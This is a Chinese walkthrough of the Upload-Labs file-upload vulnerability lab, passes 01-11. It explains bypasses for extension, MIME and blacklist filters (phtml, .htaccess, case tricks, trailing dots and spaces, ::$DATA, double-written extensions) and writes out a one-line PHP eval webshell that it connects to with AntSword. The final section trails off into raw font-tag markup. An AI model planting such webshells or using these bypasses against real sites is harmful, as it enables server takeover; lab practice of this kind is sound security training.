当前位置: 首页 > news >正文

Upload-Labs通关全攻略详细版

  1. 前端校验绕过:pass 01
    1. 两种思路:1.通过抓包,修改后缀 2.前端禁用js绕过前端后缀检验
      1. 首先写一个木马,改为图片格式GIF89a<?php eval($_POST['cmd'])?>抓包之后改为PHP格式:
    2. 使用蚁剑连接木马,第一次尝试一直是返回数据为空,原因是没有链接到木马,于是寻找木马地址,在抓包返回的页面里,查看js源码得到木马地址,连接成功可以进入后台:后台:(后面不再显示)
  2. 前端绕过:pass 02
    1. 可以看到源码仅仅对文件的后缀名进行了检验:if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) ,因此做法同第一题所述方法一致,不再演示:
  3. 前端后缀名绕过:pass 03:
    1. 第三关增加了对于上传的图片文件的后缀检查,如果是php asp等均不可行,但是由于phtml也可以服务器正确解析为PHP,于是乎,可以利用phtml进行绕过,上传文件操作与之前类似,只需要将后缀改为phtml即可
  4. pass 04:通过htacess文件使得png文件被解析为PHP文件:
    1. 首先上传木马,通过bp修改后缀,上传图片马
    2. 上传htacess配置文件,同样首先是将png后缀改为正常后缀,返回,使用蚁剑 链接木马得到:
  5. pass 05:大小写绕过
    1. 可以看到这道题的源码里面过滤了很多组合,但是没有过过滤纯大写组合,于是可以通过PHP后缀来绕过:通过bp抓包,将后缀改为PHP,于是可以看到成功上传,但是这里的地址注意,后端重新改写了文件的地址,要通过查看文件内容查看:通过蚁剑进行连接:
  6. pass 06:空格绕过:
    1. 这里将大小写过滤了,那就不能通过大小写过滤了,于是想想其他方法,试试user.ini 文件:先上传一个user.ini文件修改后缀png为正常后缀在,上传一个图片马:接下来查看上传图片马的位置:通过蚁剑进行访问:这里没有成功,也就跟换方法,查看这一关的代码与上一关进行对比,发现少了一个去空格处理,那么我们就可以通过在文件后缀名添加空格进行解决:(不要直接修改文件后缀名,系统会自动去除,要在bp里面去除):后面通过蚁剑连接即可
  7. pass 07:.绕过过滤
    1. 观察源码可以发现,这里没有对点号进行删除,那么只需要在文件末尾加点号即可绕过:进入后台:
  8. pass 08:::$DATA 拓展名绕过
    1. 分析代码,发现少了一行:没有:$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,由于这个::DATA是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:‘∗∗在windows环境下,不光会自动去除文件末尾的点和空格,同时(::DATA是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:`**在windows环境下,不光会自动去除文件末尾的点和空格,同时(::DATA是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:windows环境下,不光会自动去除文件末尾的点和空格,同时(::DATA)这个字符串,windows也会认为是非法字符,默认去除掉,即直接原名php**`**,**那么就可以通过bp抓包添加后缀::$DATA来解决,之后连接直接去除后缀即可:
  9. pass 09:代码审计
    1. 由于这里只过滤一次点号,那么就可以使用两个.来进行绕过:由于删除.之后,还会对点号后的后缀内容进行检验,于是我们在最后一个添加的点号那里进行添加空格,再加一个点号就可以绕过:于是将bp抓包,后缀修改为:PHP. .后面蚁剑连接即可
  10. pass 10:
    1. 核心漏洞这里就可以通过双写绕过:于是可以通过bp修改后缀为pphphp,得到10.php:蚁剑连接:
  11. pass 11:
    1. 漏洞描述:白名单过滤,文件保存目录可控
    2. 核心代码
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}
2. 逐句解析:`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$ext_arr</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">array</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'jpg'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'png'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'gif'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里设置白名单,表示后缀允许的范围,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">substr</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><fon
http://www.lryc.cn/news/597048.html

相关文章:

  • 百度大涨,AIGC视频生成模型蒸汽机将会给百度带来什么?
  • 2025暑期—05神经网络-卷积神经网络
  • Qt内存管理的核心点
  • sass中@mixin与 @include
  • 云效CICD教程(PHP项目)
  • go语言数据结构与排序算法
  • Http证书体系及证书加密流程(通信流程)
  • Web开发基础与RESTful API设计实践指南
  • kafka动态配置详解
  • 基于Kafka实现动态监听topic功能
  • 变频器实习DAY12
  • (一)从零搭建unity3d机械臂仿真-unity3d导入urdf模型
  • Kafka——Kafka中的位移提交
  • git 修改最近一次 commit 信息
  • 【2025】使用vue构建一个漂亮的天气卡片
  • Dify实战,获取禅道需求,编写测试用例到禅道
  • [AI8051U入门第八步]硬件IIC驱动AHT10温湿度传感器
  • Web 服务器和Web 中间件
  • 主流软件开发方法综述:从敏捷到开源
  • 利用中间件实现任务去重与分发精细化:股吧舆情数据采集与分析实战
  • 如何高效合并音视频文件
  • 设计模式九:构建器模式 (Builder Pattern)
  • echarts【实战】饼状图点击高亮,其他区域变暗
  • flutter使用CupertinoPicker绘制一个传入数据源的省市区选择器
  • [Bug | Cursor] import error: No module named ‘data‘
  • C++刷题 - 7.23
  • 【C++】类和对象(中)构造函数、析构函数
  • nrm指南
  • 二级建造师学习笔记-2025
  • 2025 成都航空装备展供需发布:精准匹配,高效成交